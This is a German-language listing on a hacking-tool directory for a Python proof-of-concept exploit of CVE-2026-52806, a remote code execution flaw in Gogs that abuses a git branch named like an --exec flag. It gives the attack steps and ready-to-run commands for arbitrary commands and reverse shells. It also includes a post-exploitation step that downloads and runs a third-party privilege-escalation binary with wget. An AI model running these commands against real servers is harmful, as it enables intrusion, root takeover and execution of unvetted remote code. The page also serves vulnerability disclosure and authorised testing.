Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-52806 — Gogs RCE via argument injection in git rebase (CWE-88) — Python PoC. CVE-2026-52806 | Kitploit
Tools/GitHubGitHub/portbuster1337/cve-2026-52806
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationCTFPenetration TestingCommand and ControlLearning & EducationPayload Development
GitHubportbuster1337/cve-2026-52806
61vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-52806

Gogs RCE via argument injection in git rebase (CWE-88) — Python PoC. CVE-2026-52806

Repository anzeigenWebseite

Gogs RCE — Argumentinjektion in git rebase (CWE-88)

Authentifizierte Remote-Codeausführung gegen Gogs (<= 0.14.2 und 0.15.0+dev) mittels Argumentinjektion im Pull-Request-Merge-Ablauf.

CVE-2026-52806

Schwachstelle

Die Funktion Merge() in internal/database/pull.go übergibt den PR-Basis-Branch-Namen an git rebase ohne einen ---Separator. Ein Branch mit dem Namen --exec=<COMMAND> wird von Git als das --exec-Flag und nicht als Positionsargument interpretiert, was dazu führt, dass nach jedem wiederholten Commit während des Rebase sh -c <COMMAND> ausgeführt wird.

Wie der Exploit funktioniert

  1. Pre-flight — stellt fest, ob das Ziel Gogs ausführt, versioniert über den ?v=-Parameter bei statischen Ressourcen und prüft, ob die Benutzerregistrierung geöffnet, Captcha-geschützt oder deaktiviert ist.
  2. Authentifizierung — falls keine Anmeldedaten angegeben werden, wird versucht, sich automatisch zu registrieren (kein Captcha) oder, falls Captcha aktiviert ist, wird eine Nachricht ausgegeben, die den Benutzer auffordert, ein Konto auf der Registrierungsseite des Ziels zu erstellen und mit -u <Benutzername> -pw <Passwort> erneut auszuführen. Erstellt einen API-Token über Basic Auth oder die Web-Einstellungsseite.
  3. Repository-Einrichtung — erstellt ein temporäres privates Repository über die Gogs-API und aktiviert Rebase vor Merge in den Einstellungen.
  4. Git-Branch-Manipulation — initialisiert lokal ein Git-Repository, pusht:
    • Einen master-Branch mit einer README
    • Einen feature-*-Branch mit einem abweichenden Commit
    • Einen bösartigen Branch namens --exec=sh${IFS}.payload, der ein Skript enthält, das den Befehl des Angreifers im Hintergrund ausführt
  5. Pull-Request — eröffnet einen PR vom Feature-Branch in den bösartigen --exec=-Branch.
  6. Auslöser — sendet einen POST an den Merge-Endpunkt mit merge_style=rebase_before_merging. Gogs führt intern git rebase --exec=sh${IFS}.payload aus, wodurch die Nutzlast nach jedem wiederholten Commit ausgeführt wird.

Voraussetzungen

  • Python 3.6+
  • requests (pip install requests)
  • Lokale git-Installation

Verwendung

root@kitploit:~
python3 gogs.py <target> [options]

Pre-flight-Check

root@kitploit:~
python3 gogs.py http://target:3000 --preflight-only

Berichtet:

  • Registration: ENABLED (no captcha) — kann automatisch registrieren
  • Registration: ENABLED (CAPTCHA DETECTED) — erstelle manuell ein Konto auf der Registrierungsseite des Ziels und gib dann Anmeldedaten mit -u / -pw an
  • Registration: DISABLED — es werden bestehende Anmeldedaten eines Administrators benötigt

Exploit ausführen

root@kitploit:~
# Auto-register + run a command
python3 gogs.py 10.0.0.1:3000 --cmd "id > /tmp/pwned.txt"

# Existing account
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --cmd "whoami"

# Reverse shell
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --listener 10.0.0.2:4444

# Captcha enabled: create account on target's signup page, then use creds
python3 gogs.py 10.0.0.1:3000 -u myuser -pw mypassword --cmd "id"

# If login with creds fails, pass the session cookie directly
python3 gogs.py 10.0.0.1:3000 --cookie "i_like_gogs=abc123..." --cmd "id"

Optionen

Post-Exploitation

Sobald Sie eine Shell auf dem Ziel haben, läuft der Gogs-Prozess typischerweise als Benutzer mit niedrigen Privilegien (z.B. git in Docker). Um eine Privilegieneskalation zu root zu versuchen, laden Sie das Binary lpe-toolkit von der Release-Seite des Projekts herunter und führen Sie es aus:

root@kitploit:~
# From your shell session:
wget https://github.com/portbuster1337/lpe-toolkit/releases/latest/download/lpe-toolkit-linux-amd64
chmod +x lpe-toolkit-linux-amd64
./lpe-toolkit-linux-amd64

Das Toolkit enumeriert Kernel-Exploits, Fehlkonfigurationen und andere gängige Eskalationsvektoren.

Referenzen

  • Rapid7-Blogpost — Authentifizierte RCE via Argumentinjektion in Gogs (ungefixte)
  • Metasploit-Modul — Rapid7s exploit/multi/http/gogs_rebase_rce von Jonah Burgess (CryptoCat) (PR #21515)
  • GHSA — qf6p-p7ww-cwr9 (gogs/gogs)
  • Gogs — https://github.com/gogs/gogs

Dieser Python-PoC ist von dem veröffentlichten Metasploit-Modul inspiriert. Die Schwachstelle wurde von Jonah Burgess (CryptoCat) bei Rapid7 entdeckt und verantwortungsvoll offengelegt.

Haftungsausschluss

Dieses Tool wird nur zu Bildungszwecken und für autorisierte Sicherheitstests bereitgestellt. Die unbefugte Nutzung gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben, ist illegal. Die Autoren übernehmen keine Verantwortung für Missbrauch oder Schäden, die durch diese Software verursacht werden.

Hinweis

Die Gogs-API unterstützt keine Token-Löschung, daher bleiben alle während der Ausnutzung erstellten API-Zugriffstoken bestehen und müssen manuell unter /user/settings/applications auf der Zielinstanz entfernt werden.

Tool herunterladen
  • Bereinigung — löscht das temporäre Repository und lokale temporäre Dateien.
  • FlagBeschreibung
    targetHost[:Port] (z.B. 47.109.58.140:9000)
    -p, --portHTTP-Port (Standard: 3000)
    -u, --usernameGogs-Benutzername
    -pw, --passwordGogs-Passwort
    --cookieSession-Cookie-String
    --cmdBefehl, der auf dem Ziel ausgeführt werden soll
    --listenerReverse-Shell Host:Port
    --lhost / --lportReverse-Shell-Host und -Port
    --sslHTTPS verwenden
    --preflight-onlyNur Preflight-Prüfungen ausführen